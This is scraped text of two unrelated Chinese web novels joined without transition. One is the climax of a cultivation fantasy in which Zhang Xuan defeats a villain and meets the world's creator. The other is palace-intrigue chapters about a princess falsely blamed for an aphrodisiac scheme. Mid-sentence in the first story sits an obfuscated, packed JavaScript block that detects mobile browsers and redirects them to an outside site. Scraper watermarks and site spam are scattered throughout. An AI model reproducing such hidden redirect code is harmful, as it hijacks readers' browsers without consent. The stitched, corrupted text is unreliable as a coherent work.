帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673445|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第106章 抓奸在床 第106章 抓奸在床 “向江南折过花,对春风与红蜡,多情总似我风流爱天下……人世肯相逢,知己幸有七八……” 慕馨宁原本也沉浸在霖州的表演中,当然她也没忽略晏骁寒眼里的凉意。:2\3?83,看t?t书@?网?;` ?\首uo?发?: 目光不经意,落在一嫔妃下首的女子身上,慕馨宁揉了揉眼睛,就觉得那人眼熟。 见慕馨宁的目光一直盯着那人看,杜若冷哼一声,鼻子都差点气歪了:“主子您忘了,那个之前不就是乐府的舞姬,叫柳滟,可是没少给您添堵。” 慕馨宁疑惑:“看她的打扮,好像是皇兄的妃子?” 杜若撇嘴:“您教他们歌舞,人家都是卯足了劲儿想在宴会上大放异彩,她倒是好,那点本事和心思全都用来勾引皇上了。” 原来柳滟学了慕馨宁教她们的东西,然后悄悄在永平帝的必经之路上练习,永平帝见后就觉得她人美,又有才情,就把人给收了,如今可是最得宠的才人。 慕馨宁张了张嘴:“她之前,好像惦记着霍承安来着?” 杜若哼了一声:“世子哪有皇上好,飞上枝头变凤凰,没准儿有朝一日就一步登天了。” 慕馨宁无言以对。 柳滟感受到慕馨宁的目光,朝着慕馨宁露出了一个得意的笑容。±o兰£t:兰?文?′学{> ?已tu发-布2=最§?@新?d¤章=¨节e¨@ 慕馨宁起早贪黑费尽心思调教乐府的人,最终却给她做了嫁衣裳,慕馨宁肯定不甘心吧? 只怪这个长公主太自以为是,还蠢得无可救药。 “皇上……皇后娘娘……不好了,出事了!” 最后一首曲子,接风宴就要收尾了。 这时一个宫女急匆匆跑了进来,白着脸颤抖着身子,跪在了大殿中间。 永平帝脸色难看,不知情的皇后又故作和善,所以劝着永平帝跟她出去一看究竟。 慕馨宁当然跟着一起出去看热闹了,一行人到了一处院落,没等走近,就听见里头不堪入目的声音。 “搞什么?”大家你看看我我看看你,有的已经羞红了脸。 “把门打开!” 门一打开,众人瞪大眼睛往里瞧,就见一男子赤裸着上身,压着一个女人正在做那种事情。 女子肤白貌美,可是身材偏瘦,等有人看清两个人的容貌之后,皆是一惊。 “啊……惜颜,颜儿……”最先惊呼出声的,是信武侯夫人。 因为眼前的两个人,上面的是霍承安,身下那个花枝乱颤的,是崔惜颜。 “退下,都退出去!”皇后也看清了自家亲弟弟那张脸,当然明白眼下的尴尬,所以急忙让人重新把门关上。′q!u.k\a`n\s~h+u¨w?u′.+c,o^m* 原本正蓄势待发一飞冲天的霍承安,听见门口的动静,看见那一张张或熟悉或陌生的脸之后,拼命摇了摇头,渐渐恢复了神智。 当他看清身下的女人之后,更是一惊。 房门砰的一下被关上,里头传来霍承安的怒吼,还有崔惜颜的哭泣声。 信武侯夫人虽然一脸急切,但是心里别提多得意了。 这件事虽然有失颜面,但是只要崔惜颜能嫁给霍承安,那就是最主要的。 其实她也不是没想过再给崔惜颜找个好人家,可是因为慕馨宁,侯府的名声越来越不好,崔惜颜的身价也是一落千丈,哪还有王侯将相家愿意娶她了。 关键崔惜颜也是对霍承安一片真心,说非霍承安不嫁,除非她死,眼下算是一个两全其美的好结果了。 只要两家联姻,那侯府眼下的困境就能迎刃而解,侯府不但有太后做靠山,还有安国公府倚仗,以后的日子定会越来越好。 皇后的脸色已经很难看,她一脸严肃的向永平帝行礼:“求皇上明察,承安一向成熟稳重,断然不可能在这个节骨眼上做出这种事情,一定是遭了别人的算计……” 永平帝脸色阴沉,原本这接风宴都要收尾了,各国使臣也是对他一个劲儿的夸赞,说东陵国人才济济,慕馨宁一介女子巾帼不让须眉,又说他这个皇帝勤政爱民,没想到一个霍承安一个崔惜颜,直接就让他的颜面尽失了。 感受到各国使臣一副兴致勃勃看热闹的样子,永平帝头痛欲裂。 很快,霍承安和崔惜颜穿戴整齐,从里头出来。 崔惜颜红肿着眼睛,一下子扑进信武侯夫人怀里:“娘……你可一定要给女儿做主……女儿已经是承安的人了,这以后还怎么嫁给别人……” 慕馨宁差点笑出声来,这样的把戏都被人玩儿烂了,可是却依旧屡试不爽,真是不知道该说什么好了。 原本无论皇后如何询问,崔惜颜都是扮演那个柔弱无辜的角色。 霍承安立在一旁,脸色阴沉,一言不发,但是看崔惜颜的目光满是厌恶和恼怒。 信武侯夫人还打圆场:“两个孩子都是年轻气盛两情相悦,这良辰美景,估计也是情难自控才犯 了错,还请太后娘娘成全一桩美事吧。” 太后板着脸,老神在在:“既然事已至此,那就让两个人早些成婚吧,也是时候添几桩喜事,让大家都欢喜欢喜。” 众人一脸复杂,这不就是被大家抓奸在场的丑事么,经过信武侯夫人和太后这么一说,怎么就成了喜事了。 这各国使臣还不知道怎么看东陵的女子们,定是觉得东陵的女子不知检点,不守妇道。 皇后脸上怒气不减,一双眼睛死死盯着崔惜颜:“今日宫宴,你却能把承安算计至此,你说,是谁与你狼狈为奸!” 崔惜颜靠在信武侯夫人怀里,委屈的不停摇头。 原本她还不想承认,安国公夫人忽然开口:“只要你交代整件事的来龙去脉,还有是谁帮你成事,我国公府就接纳你,如何?” 崔惜颜看了宋菀菀一眼,哽咽着道:“长公主说,想要让承安顺利娶我过门,可以先生米煮成熟饭,但是我觉得此事不妥,我并非那种不知检点的人……” 慕馨宁:“……” 崔惜颜擦了擦眼泪:“今日入宫,臣女觉得御花园里的牡丹开的极好,所以就驻足欣赏片刻,没想到偶然遇见世子,就跟他说了两句话,没想到他就对我……” 崔惜颜把自己摘的干干净净,慕馨宁明明什么也没做,又成就了自己的臭名。 “还以为长公主改了性子,没想到还是那么无耻下流。” “可不是,自己不守妇道也就算了,还要诓骗好人家的姑娘犯错,真是个祸害!” 几个人正在嘀嘀咕咕,啪啪啪,忽然几道耳光响起。 几个人尖叫一声,捂着自己红肿的侧脸,看向对他们动手之人。 鸦羽活动了一下自己的手腕,目光冰冷,一脸警告。 太后一脸愤怒:“放肆,哪来的贱婢,竟然敢对官员家眷动手!” (作者的话:万水千山总是情,给个五星好评行不行,么么哒!) 第107章 岂有此理 第107章 岂有此理 慕馨宁上前,挡住要捉拿鸦羽的几个下人:“母后,刚刚那几个人辱骂儿臣,不敬皇室,儿臣的人给他们一个教训也是应该的。山叶屋 已发布嶵新章結” 太后一脸隐忍:“本来就是你行为不端,惹了众怒,这件事你应该给大家一个合理的解释。” 慕馨宁一脸不解:“母后,儿臣什么时候对崔惜颜说过那种话,崔惜颜又有什么证据呢,万一是她污蔑儿臣呢?” 宋菀菀动了动唇,刚要说她能证明这话就是慕馨宁说的。 没等开口,慕馨宁又道:“再说了,就算儿臣真的和崔惜颜说了那种话,崔惜颜也没承认勾引霍承安啊,凭什么把罪责往儿臣身上扣?” 太后一时语塞。 “来人,查,立刻给本宫查!” 皇后气的怒不可遏,今日宫宴,各国使臣、文武百官和他们的家眷都在,这种事情传出去,她这个皇后和母族的颜面就要扫地,她这个皇后之位怕是也要被人诟病。 她又没给皇上生下一儿半女,日后她在宫里怕是举步维艰了,她绝对不允许这样的事情发生,她一定要证明霍承安的清白! 虞老夫人忽然咳嗽了一声,随即,虞文茵惊慌的开口:“没有,我什么也没看见,什么也没听见!” 众人的目光全部落在虞文茵身上,虞文茵一脸忐忑,连忙躲到了虞老夫人身后。求书帮 已发布最辛璋节 慕馨宁忘了,今日端午,又是各国使臣的接风宴,永平帝施恩,五品以上官员皆可携两位家眷入宫,所以,虞老夫人就带着虞文茵入宫了。 况且,虞放还在边关立了战功,这虞家人就更不能缺席了。 太后恩典,不但给虞家不少赏赐,还曾特意传召虞家祖孙两个入景阳宫小坐,自打从景阳宫出来,这虞家祖孙两个鼻孔朝天,看人都只用一只眼睛。 太后自然也注意到了虞文茵,她目光柔和:“孩子,你是不是看见了什么,不要怕,说出来。” 慕馨宁忽然有种不好的预感,后世有句话叫什么,躺着也中枪,她好像就是。 虞文茵从人群里出来,瑟缩着跪在地上,然后又胆怯的看了慕馨宁一眼:“臣女……就是出去更衣……看见长公主指使下人点什么香……就在那里……” 虞文茵指了一个位置,就是霍承安和崔惜颜那什么的门口前头。 大太监王福特意去查看,很快带回来一些香灰:“太后,皇上,这香灰就在花坛里头,刚刚燃尽……” 太医来验,说是特制的催情香。如文网 吾错内容 众人全部用惊愕的目光看向慕馨宁 慕馨宁一句辩解也没有,全然像个局外人。 她看在虞放的面子上,对虞家人一忍再忍,人都送到了庄子上也不安生,看来这虞家人是活腻了,她要是再不好好收拾她们,是不是以为她这个长公主是吃素的? 不等慕馨宁解释,崔惜颜泣不成声:“长公主,就算我们有矛盾,你对我们侯府有怨恨,你也不能这般算计我,你不但害的我失了清白,还害的承安和皇后娘娘丢了颜面……你简直就是蛇蝎心肠啊……” 此话一出,众人都觉得慕馨宁不但卑鄙无耻,还十分恶毒,崔惜颜柔柔弱弱的一个姑娘家,她竟然也用如此卑鄙的手段来算计,真是可恶。 信武侯夫人看向慕馨宁,一脸恼火:“我侯府对你不薄,你杀了承安,又污蔑我算计陷害你,如今又来害我的女儿,你怎么忍心啊!” 慕馨宁没有理会信武侯夫人,而是看向首位:“母后,皇兄,皇后娘娘,你们不会也觉得这件事是我做的吧?” 太后:“虞小姐亲眼所见。” 她又看看太监王福手里捧着的香灰:“证据也确凿,你还是主动招认,哀家看在我们母女一场的情分上,定会求皇上对你网开一面。” 慕馨宁笑了笑,回头看向一众人等:“你们也觉得这件事是本宫做的?” 众人沉默,表情却不言而喻。 这时,人群后头响起一道声音:“若是长公主想要算计崔小姐,又何必给崔小姐找个如意郎君?” 众人回头,就看见了晏骁寒那张人神共愤的俊脸,只是他眉宇间的冷意,让人望而生畏,众人连忙低下头不敢再看。 慕馨宁点头:“没错啊,既然本宫想要算计崔惜颜,干脆给她找个容貌丑陋又身份卑微的老男人好了,为什么是霍承安呢?” 众人觉得是这个道理。 霍承安仪表堂堂相貌英俊,且身份尊贵,不但是国舅,还是国公世子,这哪是算计报复崔惜颜,分明就是给崔惜颜谋了个好夫家,毕竟当初崔惜颜被国公府退了婚。 众所周知,国公府是瞧不上崔惜颜的,如今发生了这种事情,两家还能重新喜结连理,对崔惜颜来说,可是天大的好事。 众人面面相觑,顿时觉得崔惜颜也不是什么好东西,得了便宜还卖乖,眼下一副受害者的模样,心里定是高 兴坏了。 再一想起她被霍承安压在身下,拼命迎合他的样子,更觉得崔惜颜廉价下贱。 崔惜颜的脸色又惨白几分,她靠在信武侯夫人怀里,除了哭就是哭,屁都不放一个。 或许眼下,她也不知道如何应对了。 虞老夫人又咳嗽两声,虞文茵又想起什么:“太后娘娘,皇上、皇后娘娘,这其中应该有什么误会……” 太后一脸疑惑:“什么误会?” 虞文茵看了看慕馨宁,缩着脖子吞了吞口水:“其实这催情香……是长公主给自己点的……” 众人目瞪口呆。 虞文茵结结巴巴的继续道:“长公主觉得世子爷文武双全,相貌英俊,惦记许久了……” 众人恍然大悟,慕馨宁果然就是水性杨花,虽然已经和晏首辅有了婚约,竟然还不安分。 有人心思活络,或许是晏首辅洁身自好,慕馨宁欲求不满,所以才把主意打到霍承安的身上。 这时,宋菀菀强忍着幸灾乐祸的表情,一脸不可置信的开口:“我之前只是怀疑,没想到竟然是真的……” 她这一句话,直接坐实了慕馨宁的罪名。 “放肆,慕馨宁,你简直是岂有此理!”皇后满面怒容。 第108章 赐婚圣旨 第108章 赐婚圣旨 她身居后位这几年一向端庄稳重,如今也真是被气坏了。二八看书徃 追嶵芯蟑截 她一脸郑重的跪在地上:“母后,皇上,慕馨宁她道德败坏,品行不端,竟然敢如此算计承安,还请您二位给臣妾和承安做主!” 霍承安的目光也落在慕馨宁的身上,相比别人的轻蔑和讥讽,他脸上满是复杂,这个女人既然心里有他,为什么不主动和他说,何必用这样的手段? 慕馨宁都被气笑了:“在场的一个个都是人精,竟然被一个恬不知耻的官家小姐牵着鼻子走,真是无药可救。” “你说什么,你怎么证明这件事不是你干的?” 一直在看好戏的南阳郡主忽然开口:“我看这件事就是你干的,毕竟你以前养了那么多男宠,就算你跟首辅大人有了婚约,你也不知点点,勾三搭四,你惦记世子,那也是情理之中!” “我就算惦记霍承安,至于在这个时候动手?” 慕馨宁悔啊,这个南阳郡主竟然还敢来她跟前蹦跶,看来她以前对这个南阳郡主也太仁慈了,等送走了各国使臣,她也应该好好送南阳郡主一份大礼。 有人哼了一声:“平日你不也是没有机会?” 慕馨宁冰冷的目光看向多嘴的那几个人,将他们的相貌记的清清楚楚。第一墈书罔 首发 “晏首辅,这种品德败坏的人,你还是趁早跟她断了关系吧,这种事情传出去,您颜面何存啊。”南阳郡主又见缝插针。 一直看好戏的北赫皇太孙赫连儒也适时开口:“长公主如此勇猛,那我北赫好男儿可多的是,明日本王就送几个相貌好又识趣儿的给你。” 所有人的目光都落在晏骁寒身上,期待着晏骁寒趁机跟慕馨宁断了关系。 有的千金小姐已经紧张的脸红心跳,她终于又有机会嫁给晏骁寒了。 晏骁寒一张俊脸也是不辨喜怒,他抬步走到跪在地上的虞文茵面前:“那你说,你是如何看出长公主对霍承安动心,你又是何时看见长公主安排下人燃香?” 虞文茵低着头,不敢看晏骁寒,却依旧感觉到了他目光的冰冷。 她手心里都是冷汗,紧张的揪着自己的裙摆:“当初……入公主府的时候,就时常听长公主询问世子爷的喜好和踪迹……” “臣女……臣女一个时辰前看见长公主指使……” 话还没说完,晏骁寒冷笑一声:“一个时辰前,她不是坐在席位上招待诸位使臣?” 虞文茵哆嗦了一下:“臣女可能记错了……可能是两个时辰前……” 慕馨宁嘴角上扬:“两个时辰前,本宫和晏首辅在一起商讨接风宴细节,你是猪脑子,还是眼睛有问题?” 众人都开始不确定起来,这虞文茵说话也是含含糊糊,之前还振振有词,怎么竟然连时辰还能记错? “罢了,或许是误会,本世子愿意娶……” 霍承安觉得这样吵来吵去只会更难堪,左右把人都给睡了,所以也只能无奈的做出决定。新完夲鰰颤 耕芯醉快 再一个,他也不希望那些个人再诟病慕馨宁,无论这件事的真相是什么。 崔惜颜虽然脸上还挂着泪珠,但是心里一阵狂喜。 无论如何,她终于可以嫁给心仪的人,只要她做了世子妃,还有谁再敢背后嚼她的舌根,说她的坏话? 可是,霍承安话说到一半,却看向了自己的母亲。 安国公夫人冷笑一声:“闹出这种丑闻,她怎配做你的世子妃?” 众人屏气凝神。 崔惜颜脸色惨白。 信武侯夫人朝着太后就跪了下去:“太后娘娘,您作为惜颜的姑母,这件事理应您来做主。” 国公夫人气的脸色难看,信武侯夫人这个时候拿太后来压她,真是好的很呐! 太后面色复杂,端起茶盏喝了口茶。 原本是打算成了崔惜颜和霍承安的好事,又把慕馨宁拖下水。 慕馨宁不是爱出风头,那就让慕馨宁颜面扫地,名声更臭才好,这晏骁寒一出面,事情怎么就脱离了掌控? 